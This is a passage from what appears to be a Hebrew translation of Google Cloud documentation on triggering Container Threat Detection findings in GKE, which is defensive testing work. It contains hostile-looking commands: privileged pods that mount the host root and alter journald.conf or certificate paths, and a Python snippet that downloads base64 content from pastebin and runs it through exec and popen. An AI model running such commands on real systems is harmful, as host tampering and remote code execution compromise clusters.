gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי של כלי חיפוש כמו find עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

צומת ARM:

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

במהלך הליך הבדיקה הזה נוצרת Defense Evasion: Base64 Encoded Shell Script Executedממצא שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: השבתה או שינוי של מערכת הביקורת ב-Linux‏ (תצוגה מקדימה)

כדי להפעיל זיהוי של השבתה או שינוי של ביקורת ב-Linux, משנים אחד מקובצי ההגדרה שקשורים לביקורת של המארח. בדוגמה הזו פורסים את קובץ האימג' האחרון של Ubuntu 24.04, טוענים את מערכת הקבצים הבסיסית של המארח לקונטיינר ואז משנים את /etc/systemd/journald.conf.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי שמשנה אחד מקובצי התצורה שקשורים לביקורת של המארח, כמו /etc/systemd/journald.conf.

צומת x86:

tag="ktd-test-audit-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

צומת ARM:

tag="ktd-test-audit-mod-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/systemd/journald.conf"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

הליך הבדיקה הזה מפעיל ממצא Disable or Modify Linux Audit System שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן לזיהוי איומים בקונטיינר, גם ב-Cloud Logging. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

התחמקות מהגנה: הפעלת כלי קומפילציה של קוד במאגר

כדי להפעיל ממצא של Defense Evasion: Launch Code Compiler Tool In Container (תצוגה מקדימה), כלי קומפילציה של קוד צריך לפעול בתוך קונטיינר. בדוגמה הזו נעשה שימוש בתמונה העדכנית ביותר של Ubuntu 24.04. היא מעתיקה את /bin/ls ומשנה את השם שלו ל-gcc10 (או לקומפיילר אחר כמו clang). ההתנהגות הזו מסומנת כחשודה כי היא יכולה להצביע על ניסיון לקמפל ולהפעיל קוד זדוני בתוך מאגר התגים כדי להתחמק מזיהוי או לשנות את ההתנהגות שלו.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים קובץ בינארי של קומפיילר כמו gcc10 עם הארגומנטים המתאימים:

צומת x86:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

צומת ARM:

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

במהלך הליך הבדיקה הזה נוצר ממצא Defense Evasion: Launch Code Compiler Tool In Container שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Logging לזיהוי איומים בקונטיינרים. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

התחמקות מהגנה: אישור בסיס הותקן (תצוגה מקדימה)

כדי להפעיל זיהוי של אישור בסיס שהותקן, יוצרים קובץ של אישור בסיס במארח ממכולה. בדוגמה הזו פורסים את קובץ האימג' האחרון של Ubuntu 24.04, ומטעינים את מערכת הקבצים הבסיסית של המארח בקונטיינר. לאחר מכן, המערכת יוצרת קובץ אישור ריק בספרייה המתאימה.

זהו גלאי לניטור קבצים, ויש לו דרישות ספציפיות לגבי גרסת GKE.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

התקנת קובץ אישור במארח מתוך מאגר תגים.

צומת x86:

tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'

צומת ARM:

tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never --rm=true -ti --image ubuntu "$tag"\
   --overrides='{"apiVersion": "v1", "spec": {
   "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
   "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
   "securityContext": {"privileged": true},
   "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
   "readOnly": false}]}],
   "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
   "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" }] }}'

הליך הבדיקה הזה מפעיל ממצא של אישור בסיס שהותקן, שאפשר לראות ב-Security Command Center, ואם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר, גם ב-Cloud Logging. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center ברמת הארגון.

הפעלה: נוסף קובץ בינארי זדוני שהופעל

כדי להפעיל הרצה: הוספנו ממצא מסוג Malicious Binary Executed (קובץ בינארי זדוני הופעל). כדי להפעיל אותו, צריך להוסיף קובץ בינארי זדוני למאגר התגים ולהפעיל אותו. בדוגמה הזו מתבצע פריסה של התמונה האחרונה של Ubuntu 24.04, יצירה של קובץ זדוני מדומה והרצה שלו. ההרצה של הקובץ הבינארי לא צפויה כי הקובץ הבינארי הזדוני המדומה לא היה חלק מקובץ אימג' של קונטיינר המקורי, והקובץ הוא קובץ בדיקה של EICAR, קובץ שסווג כזדוני על ידי מודיעין איומי סייבר.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

משחררים את הקובץ הבינארי של EICAR ומריצים אותו:

צומת x86:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

צומת ARM:

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

במהלך הליך הבדיקה הזה נוצר ממצא מסוג Execution: Added Malicious Binary Executed שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את רישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

כדי לצמצם את הרעש, כשיוצרים קונטיינר, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את הממצאים של 'הרצה: נוסף קובץ בינארי זדוני שהופעל'. כדי לראות את כל הממצאים של Execution: Added Malicious Binary Executed בזמן שמגדירים קונטיינר, צריך להוסיף את הקידומת ktd-test לשם הקונטיינר או לשם ה-Pod, כמו בדוגמה.

ביצוע: נוספה טעינה של ספרייה זדונית

כדי להפעיל הרצה: נוספה תוצאת חיפוש של טעינת ספרייה זדונית, מוסיפים ספרייה זדונית למאגר ומטעינים אותה. בדוגמה הזו פורסים את קובץ האימג' האחרון של Ubuntu 24.04, יוצרים ספרייה זדונית מדומה ואז טוענים אותה באמצעות mmap. טעינת הספרייה לא צפויה כי הספרייה הזדונית המדומה לא הייתה חלק מקובץ אימג' של קונטיינר המקורית, וכי הספרייה היא קובץ בדיקה של EICAR, שמסווג כזדוני על ידי מודיעין איומי סייבר.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מוסיפים את קובץ EICAR וטוענים אותו:

צומת x86:

tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /tmp/test_mal_lib;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
      sleep 10"

צומת ARM:

tag="ktd-test-added-malicious-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
"$tag" -- sh -c "
      apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1;
      echo -n '$eicar' > /tmp/test_mal_lib;
      cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
      gcc /tmp/loader.c -o /tmp/loader && /tmp/loader /tmp/test_mal_lib
      sleep 10"

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Added Malicious Library Loaded שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את הרישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

כדי לצמצם את הרעשים, כשיוצרים קונטיינר, התכונה 'זיהוי איומים בקונטיינר' מסננת באופן זמני את הממצאים של Execution: Added Malicious Library Loaded. כדי לראות את כל הממצאים של Execution: Added Malicious Library Loaded בזמן שמגדירים קונטיינר, מוסיפים את הקידומת ktd-test לשם הקונטיינר או לשם ה-Pod, כמו בדוגמה.

ביצוע: פירצה בקונטיינר

כדי להפעיל את הביצוע: ממצא של פירצה בקונטיינר, צריך להציב קובץ בינארי בקונטיינר ולהפעיל אותו. בדוגמה הזו, הפריסה היא של תמונת Ubuntu 24.04 העדכנית, העתקה של /bin/ls למיקום אחר, שינוי השם שלה לכלי חשוד (botb-linux-amd64) והרצה שלה עם ארגומנטים נוספים. הפעולה הזו נחשבת לחשודה כי הביצוע הזה מדמה התנהגות שתואמת לניסיון בריחה מהקונטיינר.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מורידים קובץ בינארי של כלי לניצול לרעה של קונטיינר, כמו botb-linux-amd64, ומריצים אותו:

צומת x86:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

צומת ARM:

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

הליך הבדיקה הזה יוצר ממצא מסוג Execution: פירצה בקונטיינר שאפשר לראות ב-Security Command Center, וב-Cloud Logging אם הגדרתם רישום ביומן ל-זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: ביצוע ללא קבצים ב-`/memfd:`

כדי להפעיל ממצא של Execution: Fileless Execution in /memfd:, צריך להריץ תהליך ממערכת הקבצים בזיכרון של /memfd:. בדוגמה הזו נעשה שימוש בתמונת Python העדכנית ביותר. הכלי /bin/ls מועתק לקובץ אנונימי ב-/memfd:. הקובץ הבינארי המועתק מופעל. הביצוע של קובץ בינארי ב-/memfd: מסומן כחשוד כי הוא מחקה את ההתנהגות של אובייקט שמנסה לבצע פעולה בזיכרון כדי להימנע מגילוי מבוסס-קבצים.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

יוצרים קונטיינר עם הרשאות ופותחים bash כדי להריץ פקודות:

צומת x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

צומת ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)"

במסגרת הליך הבדיקה הזה נוצר ממצא Execution: Fileless Execution in /memfd: שאפשר לראות ב-Security Command Center וב-Cloud Logging, אם הגדרתם את Cloud Logging לזיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: פרצת אבטחה מסוג Ingress Nightmare

כדי להפעיל הרצה: בממצא Execution (תצוגה מקדימה) של נקודת חולשה Ingress Nightmare, מריצים את קובץ ה-binary של nginx במאגר. בדוגמה הזו, פורסים את התמונה העדכנית של Ubuntu 24.04, מעתיקים את /bin/ls למיקום אחר, משנים את השם שלו ל-Nginx binary ‏ (nginx) ומריצים אותו עם ארגומנטים נוספים שמפנים למערכת הקבצים /proc. הפעולה הזו נחשבת לחשודה כי היא מדמה התנהגות שתואמת לניצול לרעה של Ingress Nightmare (CVE-2025-1974), ולכן היא מעידה על הרצת קוד מרחוק.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

יוצרים קובץ בינארי של Nginx כמו nginx ומריצים אותו בזמן הגישה למערכת הקבצים /proc:

צומת x86:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

צומת ARM:

tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"

הליך הבדיקה הזה יוצר ממצא של הרצה: נקודת חולשה מסוג Ingress Nightmare שניתן לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את הרישום ביומן עבור זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: הפעלת כלי לתקיפת Kubernetes

כדי להפעיל ממצא של ביצוע כלי תקיפה של Kubernetes, צריך להציב קובץ בינארי במאגר ולהפעיל אותו. בדוגמה הזו מתבצעת פריסה של תמונת Ubuntu 24.04 העדכנית ביותר, מועתק הקובץ /bin/ls למיקום אחר, משנים את השם שלו לכלי חשוד (amicontained) ומריצים אותו. הפעולה הזו נחשבת לחשודה כי היא מדמה התנהגות שתואמת לניסיון הפעלה של כלי פוטנציאלי להתקפת Kubernetes.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מורידים קובץ בינארי של כלי לתקיפת Kubernetes, כמו amicontained, ומריצים אותו:

צומת x86:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

צומת ARM:

tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/amicontained; /tmp/amicontained"

תהליך הבדיקה הזה יוצר ממצא מסוג Execution: Kubernetes Attack Tool Execution שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את רישום ביומן לזיהוי איומים בקונטיינר. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: הפעלת כלי סיור מקומי

כדי להפעיל ממצא של Execution: Local Reconnaissance Tool Execution, מציבים קובץ בינארי במאגר התגים ומריצים אותו. בדוגמה הזו מתבצעת פריסה של תמונת Ubuntu 24.04 העדכנית ביותר, מועתק הקובץ /bin/ls למיקום אחר, משנים את השם שלו לכלי חשוד (linenum.sh) ומריצים אותו. הפעולה הזו נחשבת לחשודה כי הפעלת הקובץ הבינארי ששמו שונה מדמה התנהגות שתואמת לניסיון סיור מקומי.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מציגים קובץ בינארי של כלי לסיור מקומי כמו linenum.sh ומריצים אותו:

צומת x86:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

צומת ARM:

tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"

תהליך הבדיקה הזה יוצר ממצא של Execution: Local Reconnaissance Tool (ביצוע: כלי לסיור מקומי) שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם את רישום ביומן ל-זיהוי איומים בקונטיינר. אפשר לראות את הממצאים ב-Cloud Logging רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

הרצה: בוצע Python זדוני

כדי להפעיל את הממצא Execution: Malicious Python Executed, אפשר להריץ Python במאגר באמצעות ההליך הבא.

ההליך פורס את תמונת Python העדכנית ביותר, מעתיק קוד Python שנראה זדוני ואז מריץ אותו. כדי להפעיל זיהוי, קוד ה-Python צריך להיראות זדוני למנגנון הזיהוי.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

מריצים את התסריט הבא במאגר חדש.

קוד ה-Python הזה הגיע ממלכודת דבש. עם זאת, הוא שונה כך שהוא לא מפעיל את הקובץ הבינארי הזדוני. הפעלת הסקריפט לא תגרום לפעילות זדונית במאגר התגים. הקובץ הבינארי בכתובת ה-URL שאליה יש הפניה לא קיים, וניסיון להשתמש בכתובת ה-URL מוביל לשגיאה 404. זה תקין. הניסיון להוריד, לפענח ולהפעיל קובץ בינארי באמצעות סקריפט מוטבע הוא מה שמפעיל את הזיהוי.

צומת x86:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

צומת ARM:

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

הליך הבדיקה הזה יוצר ממצא מסוג Execution: Malicious Python Executed שאפשר לראות ב-Security Command Center וב-Cloud Logging אם הגדרתם רישום ביומן עבור זיהוי איומים בקונטיינר. האפשרות להציג ממצאים ב-Cloud Logging זמינה רק אם מפעילים את רמת Premium או Enterprise של Security Command Center.

ביצוע: קובץ בינארי זדוני שונה הופעל

כדי להפעיל את הממצא Execution: Modified Malicious Binary Executed, משנים קובץ בינארי זדוני במאגר התגים ומריצים אותו. בדוגמה הזו מתבצע פריסה של תמונת Ubuntu 24.04 העדכנית, שינוי של /etc/issue לקובץ זדוני לבדיקה של EICAR, ואז הפעלה של הקובץ. ההרצה של הקובץ הבינארי לא צפויה כי הקובץ /etc/issue שנוצר משתנה במהלך זמן הריצה של הקונטיינר כקובץ בינארי זדוני לבדיקה של EICAR, והקובץ הבינארי של EICAR הוא קובץ זדוני מוכר לפי מודיעין איומי סייבר.

הגדרה של משתני סביבה

משתמשים ב-Cloud Shell כדי לגשת למישור הבקרה של האשכול:

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

משחררים את הקובץ הבינארי של EICAR ומריצים אותו:

צומת x86:

tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c "echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; /etc/issue; sleep 10"

צומת ARM:

